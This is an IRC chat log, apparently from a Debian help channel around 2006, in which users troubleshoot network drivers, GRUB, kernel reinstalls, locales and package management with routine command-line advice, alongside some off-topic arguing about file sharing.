| 11:19.00 | iNAP | ok, so when i installed debian, it was my network wasnt recognized, and i wasnt able to download the packages.. so now i can't install anything.. so i need to configure my network settings.. now i was told to configure the interfaces, and i read the manual.. but i still dont undersetand what i need to get it to work |
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| 11:19.09 | tbenita | iNAP, iface eth0 inet dhcp |
| 11:19.31 | tbenita | iNAP, in /etc/network/interfaces |
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| 11:19.34 | iNAP | ok so i did that, and what it does is like DHCPREQUESTING or something like that |
| 11:19.40 | iNAP | and then it still doesnt work |
| 11:19.49 | quik_ | tbenita: no further ideas/? |
| 11:19.52 | deadcat | your network sucks |
| 11:19.55 | iNAP | and then it says no dhcp found or watever |
| 11:20.04 | iNAP | deadcat: thanks. |
| 11:20.43 | quik_ | I tried /etc/init.d/networking restart and I got "unable to bring up eth0 |
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| 11:23.10 | iNAP | so i just blame my network and do nothing? cool. |
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| 11:26.51 | Andy298 | how can i get all log reports and mail that currently goto root@localhost to an actual email address? |
| 11:26.57 | Andy298 | system@domain.com etc |
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| 11:27.24 | ruben | hi there. how to un-localize apt-get and other system tools? i'd like them back in english. tried dpkg-reconfigure locales, didn't help |
| 11:27.49 | iNAP | if i load the installer again for debian, will it over-write it, or should i delete the partion and do it all over? |
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| 11:31.26 | Irrumator | ruben: IIRC you need to completely logout/login after dpkg-reconfigure locales. |
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| 11:33.59 | bananafly | !kernel |
| 11:34.01 | dpkg | Linux kernel versions, stable: 2.6.15.4, prepatch: 2.6.16-rc4, snapshot: 2.6.16-rc4-git9, 2.4: 2.4.32, prepatch: 2.4.33-pre2, 2.2: 2.2.26, prepatch: 2.2.27-rc2, 2.0: 2.0.40, -ac patch: 2.6.11-ac7, -mm patch: 2.6.16-rc4-mm2 |
| 11:35.16 | tbenita | quik_, I only see module issue : bad driver for your NIC or something like that, but... If your network parameters are good (you should check twice ;) ) it should ping... |
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| 11:36.10 | dino4k | want kind of bot is dpkg? where can i get its source? :) |
| 11:36.22 | Phated | !what are you |
| 11:36.22 | dpkg | I am a blootbot. For more info see <blootbot> |
| 11:36.31 | bosjsdfl | how do i start a script |
| 11:36.33 | dino4k | Phated: thanks |
| 11:36.45 | bosjsdfl | ( i know two ways just want to know whats comin |
| 11:36.46 | ruben | Irrumator: did |
| 11:36.46 | Phated | :) |
| 11:36.53 | blondie | bosjsdfl: huh? |
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| 11:37.27 | bosjsdfl | like there is a script called bob so in bash how do i start it |
| 11:37.36 | bosjsdfl | what do i type |
| 11:37.41 | deadcat | bash bob |
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| 11:37.53 | bosjsdfl | really? |
| 11:37.56 | blondie | chmod +x bob; ./bob |
| 11:37.59 | Daemon- | if i used this command perl -MCPAN -e 'install Mail::SpamAssassin' to install spamassassin, whats the command to remove it please? |
| 11:37.59 | bosjsdfl | yeah |
| 11:38.00 | blondie | either |
| 11:38.09 | Phated | bash bob, heh. |
| 11:38.12 | deadcat | (= |
| 11:38.15 | bosjsdfl | blondie: but some people use sh bob |
| 11:38.35 | bosjsdfl | that was all i wondered about |
| 11:38.44 | deadcat | sh is symlink to bash, but since its named sh, its really sh |
| 11:39.32 | bosjsdfl | ok so don't use it cool |
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| 11:39.37 | bosjsdfl | thanks all |
| 11:39.40 | bosjsdfl | :) |
| 11:39.47 | Phated | It doesn't matter, really, works either way :) |
| 11:40.03 | iNAP | question: if i delete the partion that debian is on, will it remove the dual booter also? grub or watever its called? |
| 11:40.38 | Nabiki | iNAP: Remove Grub F |
| 11:40.39 | Nabiki | IRST. |
| 11:40.43 | Nabiki | iNAP: Remove Grub FIRST. |
| 11:40.52 | iNAP | which i do how |
| 11:41.04 | Nabiki | iNAP: Grub does some weird things to the boot sector. |
| 11:41.26 | iNAP | how do i remove it |
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| 11:41.44 | Nabiki | I don't know all the details about that. In my experience I ended up installing Lilo, and using the option to rewrite the boot sector to boot windows. :P |
| 11:42.14 | iNAP | i used to have lilo, when i installed VL, but then i just installed debian and overrighted with grub |
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| 11:42.48 | iNAP | !grub |
| 11:42.48 | dpkg | well, grub is [grub] Grand Unified Bootloader at http://www.gnu.org/software/grub/ . It's an extremely powerful boot loader that can boot a lot of OSes, understands a lot of filesystems including reiserfs.. Go here for an excellent step-by-step description of setting up grub on your system: http://www.linuxjournal.com/article.php?sid=4622, or a distributed internet crawler. |
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| 11:43.47 | Nabiki | I preffer Lilo myself. ^_^ |
| 11:44.32 | iNAP | new question: how do i uninstall grub? lol |
| 11:44.37 | Tentative | I prever the kernel straight on the mbr |
| 11:45.12 | jonas3 | !cryptsetup |
| 11:45.23 | jonas3 | !dmcrypt |
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| 11:46.35 | Tentative | iNAP: /msg dpkg grub |
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| 11:46.57 | iNAP | yeah i saw that, but it doesnt say how to uninstall it |
| 11:47.13 | Nabiki | There is an option to remove packages in dpkg. |
| 11:47.19 | Tentative | step-by-step description of setting up grub on your system: http://www.linuxjournal.com/article.php?sid=4622, |
| 11:47.33 | Tentative | iNAP: use synaptic |
| 11:47.37 | Tentative | and tick grub |
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| 11:47.55 | iNAP | There is no concept uninstall in boot loaders, because if you uninstall a boot loader, an unbootable machine would simply remain. So all you need to do is overwrite another boot loader you like to your disk, that is, install the boot loader without uninstalling GRUB. |
| 11:48.12 | iNAP | so basically i can just remove the partion and, create a new partion, and reinstall debian |
| 11:48.18 | iNAP | and then it will install grub and i should be fine |
| 11:48.19 | iNAP | correct? |
| 11:48.20 | Nabiki | basically if you like lilo, install lilo. |
| 11:48.25 | Tentative | no |
| 11:48.47 | UBL | no to lilo? |
| 11:48.47 | Tentative | you just have no way to erase grub, just install another loader instead if you want to change. |
| 11:48.56 | Nabiki | If you remove the partition first.... Then you may not be able to reboot at all before reinstalling. |
| 11:48.58 | Tentative | if you use a dual boot |
| 11:48.59 | iNAP | so what i said will work. |
| 11:49.08 | Daemon- | if i used this command perl -MCPAN -e 'install Mail::SpamAssassin' to install spamassassin, whats the command to remove it please? |
| 11:49.25 | mgoetze | well, there is a way to erase grub, but actually you don't want to do that |
| 11:49.27 | iNAP | but im currently on windows, and my linux is on a diff partion |
| 11:49.34 | Tentative | go under windows and type fdisk /mbr to erase grub, that way you won't be able to run linux anymore at startup ;) |
| 11:49.49 | mgoetze | Daemon-: wrong channel :) |
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| 11:50.03 | Daemon- | what channel should i be in then? |
| 11:50.06 | iNAP | under run? or wat |
| 11:50.07 | Nabiki | Correction |
| 11:50.13 | mgoetze | Daemon-: you should instead install it by using 'apt-get install spamassassin' |
| 11:50.15 | mgoetze | Daemon-: #perl |
| 11:50.19 | Nabiki | If he is using Windows XP the Fdisk thing will NOT work. |
| 11:50.26 | Tentative | no, you'll need to load an external kernel |
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| 11:50.42 | iNAP | wait wait |
| 11:50.46 | Tentative | iNAP: what is you real problem ? |
| 11:50.47 | iNAP | if i... |
| 11:50.54 | Nabiki | Good point. |
| 11:51.02 | Daemon- | mgoetze - it installs it but it doesnt work, so tried a walkthrough from another site that doesnt use apt-get to install it, and that didnt work either |
| 11:51.09 | Nabiki | iNAP: Explain your issue. :P Then we can help better. |
| 11:51.23 | mgoetze | Daemon-: what do you mean by "doesn't work"? |
| 11:51.33 | iNAP | delete the partion that i made for linux, and then create a new partion, and reboot and then have the compuer boot from the CD, then i would be able to install debian again and then grub would be overwritten... |
| 11:51.39 | iNAP | correct me if im wrong so far. |
| 11:51.40 | Tentative | iNAP: if you just don't like the name grub, then rename it :) |
| 11:51.45 | Daemon- | well postfix still receives mail but it's not tagging it as spam |
| 11:51.52 | iNAP | its not that.. i don't have a problem with grub. |
| 11:51.55 | Daemon- | mgoetze ^^^ |
| 11:51.56 | iNAP | its just i want to reinstall debian. |
| 11:52.00 | krummie | dudes, check this out: http://pastebin.com/573068. I did: lsof -i tcp:443, kill -9 pid and restarted apache2. What can I do about the error? Is it possible to get these commands automated when I'm not around and the server isn't able to start? if so, how? |
| 11:52.03 | Tentative | iNAP: you don't need that, just reinstall debian |
| 11:52.15 | Nabiki | That would work, but is a little messy. hehe. |
| 11:52.17 | Tentative | you'll have the choice to delete any partition while the install process |
| 11:52.28 | iNAP | oh to just format the partion |
| 11:52.39 | Tentative | you'll delete it |
| 11:52.47 | Tentative | and be able to create whatever you wan't |
| 11:52.49 | Tentative | want |
| 11:52.50 | iNAP | so what im saying |
| 11:52.57 | iNAP | why cant i use partionmagic to delete that partion now |
| 11:52.59 | Nabiki | iNAP: What he is saying, is if you plan to reinstall debian anyway, let Debian worry about the details. :) |
| 11:52.59 | Tentative | take care by not deleting the windows one ;) |
| 11:53.00 | iNAP | and then create a new one.. |
| 11:53.15 | Daemon- | mgoetze - postfix still receives mail but it's not tagging it as spam |
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| 11:53.33 | Quibus | Can some one who's running stock kernel 2.6.15-1-k7 please give me the sha1sum of their vmlinuz and initrd.img? |
| 11:53.48 | Tentative | iNAP: don't use another partitioning software suck as partition magic. You don't seem to really understand the process. |
| 11:53.57 | mgoetze | Daemon-: sorry, i've only used spamassassin from procmail, myself |
| 11:54.16 | iNAP | its just a lot easier.. bah.. ok |
| 11:54.24 | iNAP | ill just do it all threw deb |
| 11:54.28 | iNAP | ok be back soon. |
| 11:54.33 | Tentative | cya |
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| 11:55.07 | worthy | can someone please help me? |
| 11:55.17 | Daemon- | mgoetze - no worries but can you help me uninstall it please? |
| 11:55.18 | Tentative | worthy: I'll pray for you. |
| 11:55.24 | worthy | all of my applications are not on my programs menu anymore |
| 11:55.32 | worthy | i don't know how that happened |
| 11:55.38 | mgoetze | Daemon-: i don't install stuff straight from cpan, generally |
| 11:55.52 | mgoetze | Daemon-: so i've no idea how it works |
| 11:56.02 | Daemon- | ok thanks anyway |
| 11:56.06 | Quibus | Does reinstall in aptitude cause extra disk usage temporarily on the partitions where the package's files are? |
| 11:56.14 | worthy | all i have is logout, locksession, run command, quick browser, and bookmarks on my kde |
| 11:56.28 | worthy | where did all my programs go |
| 11:56.31 | Tentative | worthy: have you recently updated your debian system ? |
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| 11:56.44 | worthy | yes i did |
| 11:56.51 | Tentative | wich version are you using ? |
| 11:56.55 | twb | How can I express the following command with aptitude selectors? |
| 11:56.59 | twb | aptitude purge `grep-status -n -s Package -F Status -e "config-files$"` |
| 11:57.02 | worthy | sarge |
| 11:57.07 | worthy | i don't know |
| 11:57.12 | Tentative | 3.1 |
| 11:57.19 | twb | worthy: cat /etc/debian_version |
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| 11:57.40 | wols_ | Quibus: just reinstall your 2.6.15 kernel if you think it's corrupted |
| 11:57.46 | worthy | 3.1 version |
| 11:58.01 | twb | worthy: that's Sarge, I believe. |
| 11:58.04 | Quibus | wols_: I would if I knew it would be safe, as I have only 10MB left on my root partition |
| 11:58.08 | worthy | yes |
| 11:58.10 | worthy | sarge |
| 11:58.27 | deadcat | damn i forgot what the problem with checkinstall segmentation faulting on me again. |
| 11:58.33 | deadcat | it was a package i have to downgrade |
| 11:58.37 | Quibus | wols_: hence the question if a reinstall would need temporarily more disk space on that partition |
| 11:58.47 | Tentative | worthy: I know, sarge update kde, but I don't use it. Sorry, perhaps someone else could help you. |
| 11:58.58 | worthy | ok |
| 11:59.12 | Slaughter | hi |
| 11:59.34 | wols_ | Quibus: delete the old kernel files first then. yes that's possible |
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| 11:59.58 | wols_ | delete the vmlinuz for it in /boot and /lib/modules/2.6.15-* |
| 12:00.10 | twb | worthy: what is the problem? |
| 12:00.15 | Quibus | wols_: that's safe? |
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| 12:01.04 | wols_ | the kernel is in memory. it's not loaded from disk after you boot |
| 12:01.18 | wols_ | you can dpkg -r the kernel while it runs |
| 12:01.20 | homekneet | Am working with getting ldap auth to work. I have nsswitch.conf set so that getent passwd finds the users in ldap. But I can't login. pam.d/common-account, common-auth and common-password all have "sufficient pam_ldap.so". The password in ldap is stored as "userPassword: {crypt}<lots of chars>". I'm getting "FAILED LOGIN (1) on `tty1' FOR `UNKNOWN', User not known to the underlying authentication |
| 12:01.20 | homekneet | <PROTECTED> |
| 12:01.26 | Quibus | wols_: I'm running my older kernel atm, because the normal one doesn't start, remmeber? :) |
| 12:01.29 | worthy | i have to reinstall kde |
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| 12:01.46 | twb | wols_: just pray that you don't have an outage during reinstallation. |
| 12:01.48 | wols_ | Quibus: then what is your problem? remove the old 2.6.15 and reinstall it |
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| 12:01.55 | Tentative | worthy: I remember their is a way to generate a new kde menu with comun softwares |
| 12:01.57 | Quibus | wols_: OK then |
| 12:02.05 | Tentative | worthy: you just have to find this command |
| 12:02.12 | wols_ | twb: you can just as well pray you don't have an outage while dpkg replaces the files. same thing :) |
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| 12:02.31 | twb | wols_: safe effect, anyway ^_^ |
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| 12:06.06 | twb | I found my answer at file:///usr/share/doc/aptitude/html/en/ch02s03.html (provided by aptitude-doc-en). The selector is ~c. |
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| 12:06.08 | twb | Bye! |
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| 12:06.34 | Quibus | wols_: should I use --purge? |
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| 12:07.02 | Quibus | wols_: btw, any other reason why the kernel suddenly can't mount the root fs? |
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| 12:12.19 | wols_ | Quibus: no need to purge. and I'm actually sceptical if that helps you mount the root fs, but anything is possible |
| 12:12.21 | deadcat | i am building clearlooks 2.7 if it works we get split gradient ( |
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| 12:12.23 | deadcat | (= |
| 12:12.53 | Quibus | wols_: I'm also sceptical about it, but I have no idea what else could possibly be the problem. I didn't change anything in my kernel or lilo setup |
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| 12:14.04 | Quibus | wols_: and because the old kernel did boot (2.6.12), I can only conclude that something's wrong with the kernel image or the modules |
| 12:14.04 | Rawplayer | MI |
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| 12:14.57 | Quibus | hm |
| 12:15.11 | Quibus | for some reasons my CD-ROM and CD-RW are not visible in /dev/ |
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| 12:15.38 | wols_ | udev? |
| 12:15.54 | Quibus | wols_: I'm running udev, because of 2.6.15 |
| 12:16.17 | Quibus | udevd is running |
| 12:16.32 | wols_ | what does dmesg say about your drives? |
| 12:16.40 | blondie | quack I am a ducky |
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| 12:17.56 | Quibus | wols_: it does report them |
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| 12:18.09 | Quibus | <PROTECTED> |
| 12:18.19 | wols_ | no it does not |
| 12:18.24 | wols_ | that's the controller. not the drive |
| 12:18.33 | Quibus | hdc: MATSHITADVD-ROM SR-8587, ATAPI CD/DVD-ROM drive |
| 12:18.35 | Quibus | e.g. |
| 12:18.45 | wols_ | ok, that's the drive |
| 12:18.48 | Quibus | same for hdd |
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| 12:19.30 | Quibus | the kernel command line: |
| 12:19.36 | Quibus | says root=306 |
| 12:19.46 | Quibus | That's /dev/hda6, which is OK |
| 12:20.03 | Quibus | But when starting 2.6.15, it suddenly can't mount 3, 6 |
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| 12:20.48 | Quibus | or 6, 3 |
| 12:20.50 | Quibus | Whatever |
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| 12:21.22 | Quibus | for some reason, this kernel is started with hdc=ide-scsi hdd=ide-scsi |
| 12:21.22 | Quibus | <PROTECTED> |
| 12:21.22 | deadcat | cool i have split gradient for my clearlooks theme (= |
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| 12:21.26 | Quibus | Maybe that's bugging 2.6.12 |
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| 12:21.41 | ma3x | is this serious about wi-fi? they say in 30-40 years you're gonna have brain cancer/tumor . ? |
| 12:21.56 | SimonRaven | Quibus: turn that off |
| 12:22.09 | widow_ | hi, I need the package libgnutls11-dev for woody, how can i install it with apt-get install ? |
| 12:22.19 | cahoot | ma3x: how old are you now? |
| 12:22.26 | ma3x | cahoot, 25 |
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| 12:23.04 | Quibus | SimonRaven: OK |
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| 12:32.27 | nkuttler | widow_: usually apt-get install packagename... but woody is obsolete |
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| 12:34.24 | widow_ | nikuttler: yes, i think i've to upgrade to sarge |
| 12:35.39 | nkuttler | widow_: read the release notes and /msg dpkg woody->sarge |
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| 12:37.36 | Tentative | widow_: the best way is to save all data and fully re-install the os |
| 12:37.37 | Tentative | ;) |
| 12:38.01 | Tentative | easier, faster |
| 12:38.02 | Tentative | :P |
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| 12:38.38 | deadcat | if anyone interested in the clearlooks 2.7.3 gtk2 theme, here it is: http://debian.sshonly.sytes.net/i386/gtk2-engines-clearlooks_2.7.3-1_i386.deb |
| 12:38.52 | Ringo999 | hi im back. still no luck installing debian on ppc. here is the error message i get when finalzing the partitionsetup in the debian installer: "The attempt to mount filesystem with type ext3 in IDE1 master, partition #3 (hda3) at / failed". any idea? please help. |
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| 12:39.17 | nkuttler | Tentative: i disagree |
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| 12:39.47 | Tentative | nkuttler: updating you'll get useless files on your hard drive and old librairies. |
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| 12:40.32 | rkirmizi | hi |
| 12:40.35 | nkuttler | Tentative: i don't mind a few files. look into deborphan and debfoster |
| 12:40.37 | Tentative | Except if you do not upgrade from a 2.4 to a 2.6 kernel this is not a good idea |
| 12:40.51 | rkirmizi | how can i learn the user list on my debian system |
| 12:41.12 | Tentative | rkirmizi: connected users : who |
| 12:41.35 | rkirmizi | not online users |
| 12:41.38 | Tentative | rkirmizi: userlist : cat /etc/passwd |
| 12:41.41 | rkirmizi | all user and group list |
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| 12:42.50 | rkirmizi | is there anyone using plesk on own server |
| 12:42.51 | jm_c | rkirmizi: getent passd |
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| 12:43.18 | jm_c | rkirmizi: (oups) getent passwd |
| 12:45.17 | tbenita | I have issued with my amd64 laptop : looks like I need a higher kernel version (currently sarge is installed). Will everything work with a vanilla kernel or sould I do something else ? |
| 12:46.36 | rkirmizi | i m using plesk hosting program and i changed the default eror docs as root the i learned that plesk can change it by self but the files are owned by root |
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| 12:46.45 | rkirmizi | what is the default user for plesk |
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| 12:50.01 | Marc | proberly plesk |
| 12:50.27 | ssb | tbenita, vanilla will work fine, though you may want to look at http://www.backports.org/ . |
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| 12:52.03 | tbenita | ok thx ssb |
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| 12:54.20 | iNAP | well... debian doesnt want to recognize my internet connection, oh well. |
| 12:54.32 | phyrster | in debian, is there a ip filter program for p2p? |
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| 12:55.01 | wols_ | do you want to block any p2p? |
| 12:56.17 | rkirmizi | thx Marc |
| 12:56.31 | phyrster | wols_: exactly |
| 12:56.55 | phyrster | wols_: I want to block IRAA and other p2p blocker/spys |
| 12:57.00 | tbenita | is there a package for official ati and64 driver ? |
| 12:57.14 | phyrster | long-live free sharing |
| 12:57.15 | Marc | np |
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| 13:00.53 | dino4k | phyrster: ip filter should be done by the p2p program you use not the system |
| 13:01.53 | phyrster | dino4k: thanks. I am getting ipfileter.dat file. Do you know where can I get the latest and up-to-date one? |
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| 13:02.15 | twb | In aptitude, how do I select ~stex$ ? I can't work out how to escape the dollar sign. |
| 13:02.28 | wols_ | phyrster: that's not what I asked |
| 13:02.47 | dino4k | phyrster: nope |
| 13:02.49 | wols_ | blocking p2p means "Block any users from torrents, edonkey, kazaa, etc" |
| 13:02.58 | iNAP | arghh why doesnt debain recognize my network |
| 13:03.00 | iNAP | peice of crap. |
| 13:03.14 | wols_ | iNAP: does it recognize your NIC? |
| 13:03.39 | amphi | "I can't operate this, this is crap" huh? ;) |
| 13:03.44 | twb | iNAP: /sbin/ifconfig -a | grep addr: |
| 13:03.52 | phyrster | wols_: I know. Blocking is just the crap thing that people in power do. It's against the spirit of freedom. |
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| 13:03.53 | iNAP | im still in the shell |
| 13:04.00 | iNAP | i cant download the packages |
| 13:04.07 | iNAP | to install a desktop environment |
| 13:04.19 | wols_ | phyrster: and it's for the LAW which guarantees you that freedom |
| 13:04.45 | wols_ | iNAP: answer my question and don't whine instead. 14:03 < wols_> iNAP: does it recognize your NIC? |
| 13:04.56 | phyrster | wols_: law is made by the powerful and rich. Can't you see that? |
| 13:05.07 | iNAP | wols_: /sbin/ifconfig -a | grep addr: |
| 13:05.13 | iNAP | i type that to check? |
| 13:05.28 | wols_ | phyrster: all I see is a thief here. you know, the world doesn't end because you don't have the latest titney album or the latest gorefest from hollywood |
| 13:05.42 | wols_ | iNAP: no. dmesg. check for your network card there |
| 13:05.50 | wols_ | iNAP: what network card do you have? |
| 13:05.59 | iNAP | onboard. |
| 13:06.06 | wols_ | that's not an answer |
| 13:06.12 | wols_ | I want to know what chipset it uses |
| 13:06.17 | iNAP | i have 2 |
| 13:06.23 | dino4k | iNAP: check lspci for answer wols_ :) |
| 13:06.24 | iNAP | 1 sec ill tell you |
| 13:06.46 | wols_ | either learn to answer my question or shut up. you never EVER answer what I ask. only unrelated drivel |
| 13:07.27 | iNAP | - 1 LAN supports 10/100/1000 Fast Ethernet by Marvell 88E1111 PHY |
| 13:07.27 | iNAP | - 1 LAN supports 10/100/1000 Fast Ethernet by Marvell 88E8053 |
| 13:07.31 | phyrster | wols_: you are so quick to label people. I buy movies and I rip and I share. |
| 13:07.56 | phyrster | wols_: to get the worth of my money |
| 13:07.58 | wols_ | I label what I see. and ripping and sharing is what a thief does :) |
| 13:08.30 | twb | It's not ripping and sharing, it's unauthorized redistribution. |
| 13:08.36 | amphi | copyright violation != theft *sigh* |
| 13:08.48 | phyrster | wols_: by your reasoning, the Bush is a saint since he does not have blood on his hand |
| 13:09.06 | pngwn | <PROTECTED> |
| 13:09.09 | wols_ | a thief that is trying to evade the law in this case. so why do you think a legitimate OS like debian wants to associate with theives like you |
| 13:09.17 | iNAP | wols_: is that a better answer. |
| 13:09.20 | phyrster | amphi: where have you been to? Iraq? I haven't seen for a long long time. |
| 13:09.21 | wols_ | no, bush is a guilty of high treason in various cases |
| 13:09.30 | twb | wols_: please just ignore him. |
| 13:09.36 | amphi | phyrster: I've been around |
| 13:09.39 | twb | Let's try to stay on-topic. |
| 13:09.45 | wols_ | iNAP: much better |
| 13:10.15 | wols_ | now go and look for a version of linux that knows about your nic. use google, check dmesg if there is something that could be your nic in there, etc |
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| 13:10.45 | wols_ | unless you find that, you won't be able to have a network under linux. btw: the PHY line is irrelevant, so there is only one NIC there |
| 13:11.13 | iNAP | ok |
| 13:11.15 | iNAP | thanks. |
| 13:11.23 | amphi | iNAP: "marvell 88e1111 phy is managed by forcedeth driver" apparently |
| 13:11.28 | twb | iNAP: is the NIC on the PCI bus? |
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| 13:11.41 | iNAP | its on the mobo |
| 13:11.49 | iNAP | then no. |
| 13:11.52 | twb | iNAP: then it is probably using the PCI bus. |
| 13:12.00 | twb | iNAP: lspci | grep Ethernet controller |
| 13:12.03 | wols_ | iNAP: wrong. it's on the PCI bus (or PCI-E) |
| 13:12.18 | wols_ | cause isa would kinda suck for a GBit one |
| 13:12.27 | iNAP | its not a card though. |
| 13:12.30 | twb | wols_: so would PCI. |
| 13:12.43 | twb | iNAP: onboard NICs typically use the PCI bus. |
| 13:12.46 | Phated | Erh, it could be onboard :) |
| 13:12.46 | wols_ | twb: yes, but sometimes mobo makers like to cut corners :) |
| 13:12.50 | iNAP | ok gotcha. |
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| 13:13.08 | wols_ | phyrster: onboard stuff is pretty much always a pci device. it doesn't need to be plugged in to a pci slot... |
| 13:13.10 | twb | iNAP: run the command "lspci | grep Ethernet controller" and tell use the output. |
| 13:13.20 | iNAP | ok brb |
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| 13:13.41 | stoned | <PROTECTED> |
| 13:13.41 | stoned | u know how I can fix it so that non-root can also use chvt. |
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| 13:17.20 | _Codex | How do I find out in which package is manual page for popen in? (want to install man pages...) |
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| 13:18.51 | twb | _Codex: apropos(1) |
| 13:18.58 | Kvant | _Codex, apt-file search man3/popen |
| 13:19.00 | twb | _Codex: Oh, I misread you. |
| 13:19.17 | twb | ISTR it's in manpages-dev. |
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| 13:19.40 | twb | Kvant: does that work even when the package is not installed? |
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| 13:20.30 | Kvant | apt-file must be installed, manpages-dev need not |
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| 13:22.51 | tulioanjos | hey guys, my vmware is now bridged, and my router configured to forward all ports |
| 13:22.55 | tulioanjos | to vmware |
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| 13:23.10 | tulioanjos | but the openssh dont work (server) |
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| 13:24.29 | iNAP | ok im back.. it said unable to detect device |
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| 13:24.38 | iNAP | and it said it to all the other devices there aswell |
| 13:25.00 | wilotas | it's needed some package to resolve a URL? |
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| 13:25.15 | wilotas | I set the /tec/resolv.conf with no lucks |
| 13:25.16 | iNAP | when i did lspci | grep Ethernet controller |
| 13:25.24 | iNAP | it said no such directory or something |
| 13:25.28 | iNAP | but then i tried just lspci |
| 13:25.32 | iNAP | it listed me lots of things |
| 13:25.38 | iNAP | and all of em said unable to detect device |
| 13:26.07 | nkuttler | wilotas: how are you connected to the internet? |
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| 13:26.31 | wilotas | With eth0, Adsl. |
| 13:26.44 | wilotas | I can see the LAN pc's |
| 13:26.50 | wols_ | iNAP: download pciids.sourceforge.net/pci.ids.bz2 and put it into /var/lib/pciutils/pci.ids |
| 13:26.52 | wilotas | but i cant resolve URL. |
| 13:26.59 | wols_ | rename the old file there to /var/lib/pciutils/pci.ids.old |
| 13:27.09 | wols_ | wilotas: check your dns |
| 13:27.10 | iNAP | how can i "put it" there |
| 13:27.20 | wols_ | iNAP: with copy. man cp |
| 13:27.32 | wilotas | My DNS works perfectly, int his machine i have the same nameserver |
| 13:27.34 | wols_ | pci.ids.bz2 needs to be unpacked too btw |
| 13:27.41 | nkuttler | wilotas: what's in your resolv.conf? |
| 13:27.43 | iNAP | download threw windows? or wha |
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| 13:27.54 | wols_ | iNAP: yes, download through windows |
| 13:27.56 | wilotas | nameserver IPNAMESERVER |
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| 13:28.25 | wols_ | iNAP: or you can at least paste the output of lspci to a pastebin |
| 13:28.46 | iNAP | so i download threw windows |
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| 13:28.59 | robin_sz | ok, I just installed yet another high qulity debian package. as usual, its undocumented with a man page ...so .. any clues .. how do I find out what asterisk-gtk-console actually provides? |
| 13:29.01 | wilotas | i think that i need some package that wasnt installed in the installation of debian |
| 13:29.35 | nkuttler | wilotas: what happens when you dig google.com? |
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| 13:29.40 | wilotas | because debian hadnt detected a net interface, i have installed it after |
| 13:29.44 | iNAP | wols_: do i put it on a floppy or somethin? |
| 13:29.50 | wols_ | robin_sz: This package provides a limited GTK based console for the Asterisk Open Source PBX system. |
| 13:30.01 | wilotas | Unknown host |
| 13:30.09 | wols_ | iNAP: wherever you want. dunno how you can transfer files. it's not my linux box |
| 13:30.23 | robin_sz | wols_: that I already knew |
| 13:30.28 | wols_ | iNAP: if it's a dual boot one, you can load ntfs drivers and access the file that way |
| 13:30.30 | Tentative | iNAP: what is you ethernet chipset ? |
| 13:30.36 | wols_ | Tentative: he doesn't know |
| 13:31.06 | wols_ | robin_sz: dpkg -L asterisk-gtk-console |grep bin |
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| 13:31.35 | iNAP | bah its so complicated, for such a little thing. heh |
| 13:31.43 | iNAP | if i do it threw a floppy, how can i transfer it |
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| 13:31.48 | iNAP | faster than opening a ntfs now |
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| 13:33.09 | dorel | im runing on an amd 64bit cpu with debian sid but it hasn't got the 64bit port of openoffice... can i get it installed from non-64bit repositories? |
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| 13:34.15 | Tentative | iNAP: cat /var/log/dmesg |
| 13:34.30 | Tentative | You will perhaps get datas about your chipset |
| 13:34.30 | Eulex | dorel, get a 32-bit chroot |
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| 13:34.54 | wols_ | Tentative: he will, but he is not capabile of interpreting it |
| 13:35.03 | wols_ | iNAP: what chipset do you have nforce3? nforce4? |
| 13:35.06 | dorel | Eulex: what do you mean? |
| 13:35.07 | iNAP | 4 |
| 13:35.12 | Eulex | !chroot |
| 13:35.12 | dpkg | i guess chroot is a way to change the root directory of a process, see also http://www.debian.org/doc/manuals/reference/ch-tips.en.html#s-chroot |
| 13:35.39 | wols_ | so anyone know what kernel version has support for nforce4 GBit NIC with forcedeth? |
| 13:35.50 | Eulex | !debootstrap |
| 13:35.50 | dpkg | somebody said debootstrap was <caphuso> get the debootstrap source from http://packages.debian.org/, compile it, read the man page, install debian with it </caphuso> Useful for installing in a chroot. http://people.debian.org/~walters/chroot.html |
| 13:35.59 | wols_ | iNAP: you might try forcedeth but it might not work depending on your kernel version |
| 13:36.17 | iNAP | i think the current kernel version is 2.6.8-11 |
| 13:36.19 | iNAP | possible? |
| 13:36.22 | iNAP | if i remember correctly |
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| 13:36.26 | Eulex | dorel, I don't know the specifics for getting a 32-bit chroot, though. there should be howtos available |
| 13:36.34 | Tentative | iNAP: uname -a |
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| 13:36.54 | dorel | Eulex: yeah im looking it up as we speak. thanks |
| 13:36.55 | iNAP | Tentative: anything else to check while im at it, cause its a reboot for me. |
| 13:37.22 | wols_ | iNAP: "current" kernel is 2.6.15. 2.6.8 is almost a year old |
| 13:37.34 | iNAP | well im running the amd64 version |
| 13:37.38 | wols_ | iNAP: what installer do you use? maybe no reboot is necessary |
| 13:37.39 | iNAP | so its possible that they didnt update it.. |
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| 13:37.58 | wols_ | if it's original sarge, it's 2.6.8 |
| 13:38.09 | iNAP | its the unnoficial |
| 13:38.37 | iNAP | mm |
| 13:38.46 | Tentative | iNAP: this is perhaps where your all problems comes from |
| 13:39.05 | iNAP | so i gotta update the kernel? |
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| 13:39.17 | wols_ | most probably. an installer with a newer kernel |
| 13:39.25 | Tentative | iNAP: use officiel debian releases |
| 13:39.27 | iNAP | thats the latest version though to DL |
| 13:39.32 | iNAP | they dont have 1 yet for amd64 |
| 13:39.34 | Eulex | iNAP, what problems are you talking about? |
| 13:39.42 | Tentative | They are avaible for free. |
| 13:39.54 | wols_ | Eulex: getting his nf4 nic to work |
| 13:40.03 | iNAP | he unofficial stable release of the Debian AMD64 port was released by the porting team on June 8th, 2005. |
| 13:40.03 | wols_ | under debian for x86-64 |
| 13:40.08 | Tentative | Well, if this is not released yet this is bevcause we have many problem to solve ;) |
| 13:40.20 | wols_ | iNAP: probably way too old a kernel |
| 13:40.50 | Eulex | wols_, hmm, I dunno about that :) |
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| 13:41.53 | iNAP | you think there planning on updating it? |
| 13:42.14 | Tentative | when it will be ready it will be released |
| 13:42.33 | iNAP | mm =/ |
| 13:42.40 | Eulex | iNAP, they won't, if you're talking about sarge. |
| 13:43.11 | wols_ | iNAP: get a testing (etch) installer for amd64 if such a thing exists |
| 13:43.28 | iNAP | whats that? sorry, im just a noob at linux. |
| 13:43.40 | iNAP | i gotta start somewhere. heh |
| 13:43.42 | Tentative | iNAP: be carefull with testing distro. This is not made to be used in a productive environment. |
| 13:43.49 | wols_ | or look on the debian amd64 sites what others with a nf4 mobo do to get their NIC working |
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| 13:44.07 | Eulex | !d-i |
| 13:44.07 | dpkg | For stable/sarge: http://www.debian.org/releases/sarge/debian-installer/ and the development page for the installer(ISOs for etch/testing) is http://www.debian.org/devel/debian-installer/ |
